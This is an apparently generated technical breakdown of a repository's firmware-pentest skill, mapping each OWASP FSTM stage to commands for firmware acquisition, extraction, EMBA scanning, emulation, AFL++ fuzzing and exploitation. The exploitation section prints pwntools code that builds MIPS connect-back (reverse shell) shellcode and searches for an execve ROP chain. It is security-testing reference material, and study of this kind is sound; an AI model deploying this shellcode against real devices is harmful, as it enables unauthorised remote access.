# How the firmware-pentest Module Implements the OWASP FSTM Chain: A Complete Technical Breakdown

> Understand how the firmware-pentest module implements the OWASP FSTM chain with this technical breakdown. Learn about tool-backed workflows and automated checks.

- Repository: [ZhaoXu/reverse-skill](https://github.com/zhaoxuya520/reverse-skill)
- Tags: deep-dive
- Published: 2026-08-16

---

**The firmware-pentest skill encodes the complete OWASP FSTM nine-stage security testing methodology as a deterministic, tool-backed workflow where each stage maps to concrete commands, reference documents, and automated environment checks.**

The OWASP Firmware Security Testing Methodology (FSTM) defines the industry-standard approach for analyzing embedded device firmware. In the `zhaoxuya520/reverse-skill` repository, the **firmware-pentest** module operationalizes this entire chain—from initial reconnaissance through exploit generation—within a single, self-contained skill structure. This article examines how each FSTM stage translates into executable commands and reference documentation.

## OWASP FSTM Stage 1: Information Gathering

**Information gathering** in the firmware-pentest skill focuses on device fingerprinting and threat intelligence collection.

The skill directs analysts to collect:

- Device model and hardware revision
- Chipset architecture and SDK version
- Known CVEs affecting the target platform
- FCC ID registrations for regulatory filings

Source location: [[`SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/SKILL.md) lines 70-80](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L70)

```bash

# Query FCC ID database for device internals

curl -s "https://fccid.io/?q=$FCC_ID"

```

This stage establishes the foundation for all subsequent analysis by defining the target's technical surface area.

## OWASP FSTM Stage 2: Obtaining Firmware

The skill implements **four distinct firmware acquisition paths** to handle diverse deployment scenarios.

| Acquisition Method | Tool/Technique | Use Case |
|---|---|---|
| Vendor download | Direct HTTP/HTTPS download | Official release images |
| OTA capture | `mitmdump` proxy | Over-the-air update interception |
| UART dump | `picocom` serial console | Bootloader extraction |
| SPI flash extraction | `flashrom` | Physical chip dump |

Source location: [[`SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/SKILL.md) lines 84-96](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L84)

```bash

# OTA interception example

mitmdump -s save_response.py

# UART serial connection

picocom -b 115200 /dev/ttyUSB0

# SPI flash read with flashrom

flashrom -p ft2232_spi:type=2232H,port=A -r firmware.bin

```

The skill includes decision logic for selecting the appropriate path based on physical access level and target architecture.

## OWASP FSTM Stage 3: Analyzing Firmware

**Pre-extraction static analysis** validates firmware integrity and identifies obfuscation before resource-intensive unpacking.

The skill performs quick checks using:

- **Magic number verification** — confirms file format alignment
- **Entropy analysis** — detects compression or encryption
- **String extraction** — surfaces hardcoded artifacts
- **`file` and `hexdump`** — inspect headers and structure

Source location: [[`SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/SKILL.md) lines 99-109](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L99)

```bash

# Entropy visualization for encrypted/obfuscated regions

binwalk -E firmware.bin

# Quick string harvest for credentials and URLs

strings -n 8 firmware.bin | less

# File type verification

file firmware.bin
hexdump -C firmware.bin | head -50

```

These checks prevent wasted effort on corrupted or unexpectedly formatted images.

## OWASP FSTM Stage 4: Extracting Filesystem

The **extraction methodology** reference document implements multi-tool fallback chains for robust filesystem recovery.

Primary extraction tools:

- `binwalk -eM` — recursive, multi-depth extraction
- `unblob` — alternative extractor for edge cases
- `jefferson` — JFFS2 filesystem support
- `ubireader` — UBI/UBIFS handling

Source locations: [[`SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/SKILL.md) lines 111-121](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L111) and [[`extraction-methodology.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/extraction-methodology.md)](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/references/extraction-methodology.md)

```bash

# Standard binwalk recursive extraction

binwalk -eM firmware.bin

# Alternative unblob extraction

unblob -d out/ firmware.bin

# JFFS2-specific handling

jefferson rootfs.jffs2 -d rootfs/

# UBI extraction

ubireader_extract_files rootfs.ubi

```

Critical decision logic: *"提取失败不等于固件加密，先跑全部提取工具"* (extraction failure does not equal firmware encryption—run all extraction tools first). This prevents premature conclusions about encryption when simpler format mismatches may be the cause.

## OWASP FSTM Stage 5: Filesystem Static Analysis

**EMBA (Embedded Analyzer)** provides automated binary-level auditing, supplemented by manual credential and configuration grep patterns.

The skill integrates EMBA as:

```bash

# One-line EMBA execution with default scan profile

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

```

Manual static analysis targets:

- Hardcoded credentials in configuration files
- Weak binary protections (NX, ASLR, stack canaries)
- Dangerous function patterns (`strcpy`, `system`, `eval`)

Source locations: [[`SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/SKILL.md) lines 122-138](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L122) and [[`emba-automated-analysis.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/emba-automated-analysis.md)](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/references/emba-automated-analysis.md)

EMBA generates an HTML report consolidating findings across firmware versions andthird-party components.

## OWASP FSTM Stage 6: Emulating Firmware

The skill provides **dual emulation strategies** matched to analysis objectives:

| Mode | Tool | Scope | Use Case |
|---|---|---|---|
| User-mode | `qemu-*-static` | Single binary | Quick function testing |
| Full-system | FAT / Firmadyne | Complete image | Service interaction, network testing |

Source locations: [[`SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/SKILL.md) lines 138-148](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L138) and [[`emulation-and-fuzz.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/emulation-and-fuzz.md)](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/references/emulation-and-fuzz.md)

```bash

# Full-system emulation with Firmware Analysis Toolkit

sudo fat.py firmware.bin

# User-mode ARM binary emulation

qemu-arm-static -L /usr/arm-linux-gnueabihf ./target_binary

```

FAT (Firmadyne-based) automatically handles kernel extraction, network bridge configuration, and service startup detection.

## OWASP FSTM Stage 7: Dynamic Analysis

Post-emulation, the skill attaches **runtime inspection tools** to observe actual behavior:

- `gdb-multiarch` — cross-architecture debugging
- Network traffic capture — `tcpdump` for service enumeration
- Burp Suite proxy — web UI vulnerability assessment

Source location: [[`SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/SKILL.md) lines 150-162](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L150)

```bash

# GDB remote debugging (MIPS example)

qemu-mipsel-static -g 1234 ./vuln_binary &
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Network capture during emulation

tcpdump -i tap0 -w emulation_traffic.pcap

```

This stage bridges the gap between static findings and exploitable runtime conditions.

## OWASP FSTM Stage 8: Runtime Analysis

**Coverage-guided fuzzing** with AFL++ in QEMU mode identifies memory corruption vulnerabilities without source code access.

The skill implements desocketing for network service fuzzing:

```bash

# AFL++ QEMU-mode fuzzing with desock shim

AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

```

Source location: [[`SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/SKILL.md) lines 163-171](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L163)

Key configuration: `AFL_PRELOAD` injects `libdesock.so` to convert network I/O into file-based fuzzing inputs, eliminating socket handling complexity.

## OWASP FSTM Stage 9: Exploitation

The final stage produces **weaponized proof-of-concepts** using standard offensive security tooling:

- `pwntools` — exploit development framework
- `ropper` — ROP gadget discovery
- `asm/objcopy` — shellcode assembly and extraction

Source location: [[`SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/SKILL.md) lines 172-187](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L172)

```bash

# Generate MIPS connect-back shellcode with pwntools

python3 - <<'PY'
from pwn import *
context.arch = 'mips'
payload = shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh()
print(payload)
PY | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadget search

ropper --file ./vulnerable_binary --chain "execve"

```

## Environment Verification and Tool Bootstrapping

The firmware-pentest skill enforces **environment readiness** through automated checks:

- Tool availability verified against [`tool-index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/tool-index.md)
- Missing dependencies trigger "按需自举" (on-demand bootstrapping)
- Architecture-specific QEMU binaries validated before emulation stages

This guarantees executable workflows across different analyst environments.

## Key Architectural Files

| File | Purpose | Location |
|---|---|---|
| [`SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/SKILL.md) | Master FSTM workflow definition | [`skills/firmware-pentest/SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md) |
| [`extraction-methodology.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/extraction-methodology.md) | Filesystem extraction commands and fallbacks | [`skills/firmware-pentest/references/extraction-methodology.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/references/extraction-methodology.md) |
| [`emba-automated-analysis.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/emba-automated-analysis.md) | EMBA configuration and report interpretation | [`skills/firmware-pentest/references/emba-automated-analysis.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/references/emba-automated-analysis.md) |
| [`emulation-and-fuzz.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/emulation-and-fuzz.md) | Firmadyne/FAT setup and AFL++ integration | [`skills/firmware-pentest/references/emulation-and-fuzz.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/references/emulation-and-fuzz.md) |
| [`tool-index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/tool-index.md) | Tool inventory and bootstrap procedures | [`skills/firmware-pentest/references/tool-index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/references/tool-index.md) |

## Summary

- The **firmware-pentest module** implements all nine OWASP FSTM stages as deterministic, tool-backed workflows in `zhaoxuya520/reverse-skill`.
- Each stage maps to concrete commands, reference documentation, and decision logic rather than abstract guidance.
- **Multi-path fallback strategies** handle extraction failures and emulation complexity without manual tool selection.
- **Automated environment checks** via [`tool-index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/tool-index.md) ensure reproducible execution across analyst systems.
- The complete pipeline—from `curl` for information gathering through `pwntools` for exploit generation—operates from a single skill entry point.

## Frequently Asked Questions

### What is OWASP FSTM and why does the firmware-pentest skill use it?

OWASP FSTM (Firmware Security Testing Methodology) is a nine-stage framework for systematic embedded device security assessment. The firmware-pentest skill uses it as an architectural backbone because it provides comprehensive coverage from reconnaissance through exploitation, with each stage producing verifiable artifacts. The skill's [`SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/SKILL.md) structure mirrors these stages exactly.

### How does the skill handle firmware extraction when standard tools fail?

The skill implements explicit fallback logic in [`extraction-methodology.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/extraction-methodology.md): when `binwalk` fails, it automatically chains `unblob`, `jefferson`, and `ubireader` based on observed filesystem signatures. The guiding principle—"extraction failure does not equal firmware encryption"—prevents analysts from incorrectly assuming cryptographic protection when simpler format mismatches may be responsible.

### What emulation options does the firmware-pentest skill provide?

The skill offers two emulation tiers: **user-mode** via `qemu-*-static` for rapid single-binary testing, and **full-system** via FAT/Firmadyne for complete network service interaction. Selection depends on whether the analysis target is a specific vulnerable function or a multi-service firmware image requiring authentic runtime behavior.

### Can the firmware-pentest workflow run without manual tool installation?

Yes. The skill's "按需自举" (on-demand bootstrapping) system checks [`tool-index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/tool-index.md) against the current environment and automatically installs missing dependencies—including AFL++, EMBA, and architecture-specific QEMU builds—before executing stage commands.